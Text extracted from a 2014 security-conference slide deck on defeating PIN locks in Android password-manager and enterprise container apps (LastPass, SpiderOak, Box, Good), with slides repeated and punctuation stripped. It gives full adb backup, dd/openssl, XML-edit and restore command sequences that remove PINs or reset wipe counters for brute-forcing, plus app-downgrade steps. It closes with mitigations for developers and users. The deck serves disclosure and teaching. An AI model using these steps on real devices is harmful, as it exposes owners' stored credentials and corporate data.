  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 50: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 51: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

